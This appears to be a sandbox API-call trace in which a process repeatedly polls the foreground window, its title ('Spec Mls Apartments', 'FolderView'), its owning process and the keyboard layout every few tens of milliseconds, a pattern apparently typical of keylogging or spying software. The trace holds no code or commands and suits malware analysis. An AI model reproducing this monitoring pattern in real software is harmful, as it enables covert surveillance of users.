[0215.353] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0215.353] EnumProcesses (in: lpidProcess=0x2433dfc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2433dfc, lpcbNeeded=0x4f8f87c) returned 1
[0215.354] GetLastError () returned 0x0
[0215.354] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34a2fb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34a2fb0, ResultLength=0x4f8f840*=0x8b68) returned 0x0
[0215.359] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0215.359] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0215.416] GetForegroundWindow () returned 0x101a2
[0215.416] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0215.478] GetForegroundWindow () returned 0x101a2
[0215.478] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0215.540] GetForegroundWindow () returned 0x101a2
[0215.540] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0215.603] GetForegroundWindow () returned 0x100f6
[0215.603] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0215.603] EnumProcesses (in: lpidProcess=0x2445a00, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2445a00, lpcbNeeded=0x4f8f87c) returned 1
[0215.603] GetLastError () returned 0x0
[0215.604] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34c2fd0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34c2fd0, ResultLength=0x4f8f840*=0x8b68) returned 0x0
[0215.607] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0215.607] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0215.665] GetForegroundWindow () returned 0x101a2
[0215.665] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0215.665] EnumProcesses (in: lpidProcess=0x2456dfc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2456dfc, lpcbNeeded=0x4f8f87c) returned 1
[0215.666] GetLastError () returned 0x0
[0215.666] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34e2ff0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34e2ff0, ResultLength=0x4f8f840*=0x8b68) returned 0x0
[0215.669] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0215.669] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0217.303] GetForegroundWindow () returned 0x101a2
[0217.303] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0217.366] GetForegroundWindow () returned 0x101a2
[0217.366] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0217.428] GetForegroundWindow () returned 0x101a2
[0217.428] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0217.490] GetForegroundWindow () returned 0x100f6
[0217.490] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0217.490] EnumProcesses (in: lpidProcess=0x238597c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x238597c, lpcbNeeded=0x4f8f87c) returned 1
[0217.491] GetLastError () returned 0x0
[0217.492] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3329a00, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3329a00, ResultLength=0x4f8f840*=0x8b28) returned 0x0
[0217.499] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0217.499] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0217.553] GetForegroundWindow () returned 0x101a2
[0217.553] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0217.553] EnumProcesses (in: lpidProcess=0x2396d0c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2396d0c, lpcbNeeded=0x4f8f87c) returned 1
[0217.553] GetLastError () returned 0x0
[0217.554] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3349a20, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3349a20, ResultLength=0x4f8f840*=0x8b28) returned 0x0
[0217.558] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0217.559] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0217.615] GetForegroundWindow () returned 0x101a2
[0217.615] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0217.678] GetForegroundWindow () returned 0x101a2
[0217.678] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0217.740] GetForegroundWindow () returned 0x101a2
[0217.740] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0217.802] GetForegroundWindow () returned 0x100f6
[0217.802] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0217.802] EnumProcesses (in: lpidProcess=0x23a88a4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23a88a4, lpcbNeeded=0x4f8f87c) returned 1
[0217.803] GetLastError () returned 0x0
[0217.804] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33a1eb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33a1eb0, ResultLength=0x4f8f840*=0x8b28) returned 0x0
[0217.807] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0217.807] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0217.865] GetForegroundWindow () returned 0x101a2
[0217.865] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0217.865] EnumProcesses (in: lpidProcess=0x23b9c34, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23b9c34, lpcbNeeded=0x4f8f87c) returned 1
[0217.866] GetLastError () returned 0x0
[0217.867] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33c1ed0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33c1ed0, ResultLength=0x4f8f840*=0x8b28) returned 0x0
[0217.871] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0217.871] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0217.927] GetForegroundWindow () returned 0x101a2
[0217.927] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0217.990] GetForegroundWindow () returned 0x101a2
[0217.990] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0218.054] GetForegroundWindow () returned 0x101a2
[0218.054] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0218.114] GetForegroundWindow () returned 0x100f6
[0218.114] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0218.114] EnumProcesses (in: lpidProcess=0x23cb7cc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23cb7cc, lpcbNeeded=0x4f8f87c) returned 1
[0218.115] GetLastError () returned 0x0
[0218.116] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e1ef0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33e1ef0, ResultLength=0x4f8f840*=0x8b28) returned 0x0
[0218.119] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0218.119] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0218.177] GetForegroundWindow () returned 0x101a2
[0218.177] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0218.177] EnumProcesses (in: lpidProcess=0x23dcb5c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23dcb5c, lpcbNeeded=0x4f8f87c) returned 1
[0218.177] GetLastError () returned 0x0
[0218.178] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3401f10, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3401f10, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0218.181] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0218.181] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0218.246] GetForegroundWindow () returned 0x101a2
[0218.246] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0218.302] GetForegroundWindow () returned 0x101a2
[0218.302] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0218.364] GetForegroundWindow () returned 0x101a2
[0218.364] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0218.426] GetForegroundWindow () returned 0x100f6
[0218.426] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0218.426] EnumProcesses (in: lpidProcess=0x23ee820, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23ee820, lpcbNeeded=0x4f8f87c) returned 1
[0218.427] GetLastError () returned 0x0
[0218.428] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3421f30, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3421f30, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0218.431] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0218.431] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0218.489] GetForegroundWindow () returned 0x101a2
[0218.489] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0218.489] EnumProcesses (in: lpidProcess=0x23ffc88, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23ffc88, lpcbNeeded=0x4f8f87c) returned 1
[0218.489] GetLastError () returned 0x0
[0218.490] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3441f50, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3441f50, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0218.495] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0218.495] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0218.553] GetForegroundWindow () returned 0x101a2
[0218.553] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0218.614] GetForegroundWindow () returned 0x101a2
[0218.614] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0218.676] GetForegroundWindow () returned 0x101a2
[0218.676] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0218.738] GetForegroundWindow () returned 0x100f6
[0218.738] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0218.739] EnumProcesses (in: lpidProcess=0x24118f8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24118f8, lpcbNeeded=0x4f8f87c) returned 1
[0218.739] GetLastError () returned 0x0
[0218.740] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3461f70, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3461f70, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0218.744] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0218.744] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0218.801] GetForegroundWindow () returned 0x101a2
[0218.802] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0218.802] EnumProcesses (in: lpidProcess=0x2422d60, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2422d60, lpcbNeeded=0x4f8f87c) returned 1
[0218.802] GetLastError () returned 0x0
[0218.803] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3482f90, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3482f90, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0218.807] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0218.807] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0218.863] GetForegroundWindow () returned 0x101a2
[0218.863] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0218.926] GetForegroundWindow () returned 0x101a2
[0218.926] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0218.988] GetForegroundWindow () returned 0x101a2
[0218.988] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0219.050] GetForegroundWindow () returned 0x100f6
[0219.050] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0219.050] EnumProcesses (in: lpidProcess=0x24349d0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24349d0, lpcbNeeded=0x4f8f87c) returned 1
[0219.051] GetLastError () returned 0x0
[0219.051] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34a2fb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34a2fb0, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0219.055] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0219.055] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0219.113] GetForegroundWindow () returned 0x101a2
[0219.113] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0219.113] EnumProcesses (in: lpidProcess=0x2445e38, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2445e38, lpcbNeeded=0x4f8f87c) returned 1
[0219.113] GetLastError () returned 0x0
[0219.117] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34c2fd0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34c2fd0, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0219.121] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0219.121] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0219.176] GetForegroundWindow () returned 0x101a2
[0219.176] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0219.238] GetForegroundWindow () returned 0x101a2
[0219.238] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0219.300] GetForegroundWindow () returned 0x101a2
[0219.300] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0219.362] GetForegroundWindow () returned 0x100f6
[0219.363] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0219.363] EnumProcesses (in: lpidProcess=0x2457afc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2457afc, lpcbNeeded=0x4f8f87c) returned 1
[0219.363] GetLastError () returned 0x0
[0219.364] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34e2ff0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34e2ff0, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0219.371] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0219.371] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0219.425] GetForegroundWindow () returned 0x101a2
[0219.425] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0219.425] EnumProcesses (in: lpidProcess=0x24694a8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24694a8, lpcbNeeded=0x4f8f87c) returned 1
[0219.426] GetLastError () returned 0x0
[0219.426] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3523020, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3523020, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0219.430] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0219.430] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0219.489] GetForegroundWindow () returned 0x101a2
[0219.489] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0219.553] GetForegroundWindow () returned 0x101a2
[0219.553] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0219.612] GetForegroundWindow () returned 0x101a2
[0219.612] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0219.675] GetForegroundWindow () returned 0x100f6
[0219.675] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0219.675] EnumProcesses (in: lpidProcess=0x247b118, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x247b118, lpcbNeeded=0x4f8f87c) returned 1
[0219.675] GetLastError () returned 0x0
[0219.676] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3543040, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3543040, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0219.682] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0219.683] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0219.737] GetForegroundWindow () returned 0x101a2
[0219.737] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0219.737] EnumProcesses (in: lpidProcess=0x248c580, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x248c580, lpcbNeeded=0x4f8f87c) returned 1
[0219.737] GetLastError () returned 0x0
[0219.738] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3563060, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3563060, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0219.742] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0219.742] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0219.799] GetForegroundWindow () returned 0x101a2
[0219.799] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0219.861] GetForegroundWindow () returned 0x101a2
[0219.861] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0219.924] GetForegroundWindow () returned 0x101a2
[0219.924] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0219.986] GetForegroundWindow () returned 0x100f6
[0219.987] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0219.987] EnumProcesses (in: lpidProcess=0x249e1f0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x249e1f0, lpcbNeeded=0x4f8f87c) returned 1
[0219.987] GetLastError () returned 0x0
[0219.987] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3583080, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3583080, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0219.993] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0219.993] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0220.049] GetForegroundWindow () returned 0x101a2
[0220.049] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0220.049] EnumProcesses (in: lpidProcess=0x24af658, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24af658, lpcbNeeded=0x4f8f87c) returned 1
[0220.050] GetLastError () returned 0x0
[0220.050] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35a30a0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35a30a0, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0220.054] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0220.054] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0220.111] GetForegroundWindow () returned 0x101a2
[0220.111] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0220.174] GetForegroundWindow () returned 0x101a2
[0220.174] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0220.237] GetForegroundWindow () returned 0x101a2
[0220.237] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0220.298] GetForegroundWindow () returned 0x100f6
[0220.298] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0220.299] EnumProcesses (in: lpidProcess=0x24c12c8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24c12c8, lpcbNeeded=0x4f8f87c) returned 1
[0220.299] GetLastError () returned 0x0
[0220.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35c30c0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35c30c0, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0220.303] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0220.303] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0220.361] GetForegroundWindow () returned 0x101a2
[0220.361] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0220.361] EnumProcesses (in: lpidProcess=0x24d2784, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24d2784, lpcbNeeded=0x4f8f87c) returned 1
[0220.362] GetLastError () returned 0x0
[0220.362] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35e30e0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35e30e0, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0220.366] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0220.366] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0220.423] GetForegroundWindow () returned 0x101a2
[0220.423] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0220.486] GetForegroundWindow () returned 0x101a2
[0220.486] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0220.548] GetForegroundWindow () returned 0x101a2
[0220.548] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0220.610] GetForegroundWindow () returned 0x100f6
[0220.611] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0220.611] EnumProcesses (in: lpidProcess=0x24e43f4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24e43f4, lpcbNeeded=0x4f8f87c) returned 1
[0220.611] GetLastError () returned 0x0
[0220.612] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3603100, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3603100, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0220.616] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0220.616] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0220.673] GetForegroundWindow () returned 0x101a2
[0220.673] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0220.673] EnumProcesses (in: lpidProcess=0x24f585c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24f585c, lpcbNeeded=0x4f8f87c) returned 1
[0220.673] GetLastError () returned 0x0
[0220.674] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3623120, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3623120, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0220.677] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0220.677] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0220.735] GetForegroundWindow () returned 0x101a2
[0220.735] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0220.798] GetForegroundWindow () returned 0x101a2
[0220.798] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0220.860] GetForegroundWindow () returned 0x101a2
[0220.860] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0220.922] GetForegroundWindow () returned 0x100f6
[0220.923] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0220.923] EnumProcesses (in: lpidProcess=0x25074cc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x25074cc, lpcbNeeded=0x4f8f87c) returned 1
[0220.923] GetLastError () returned 0x0
[0220.924] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3643140, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3643140, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
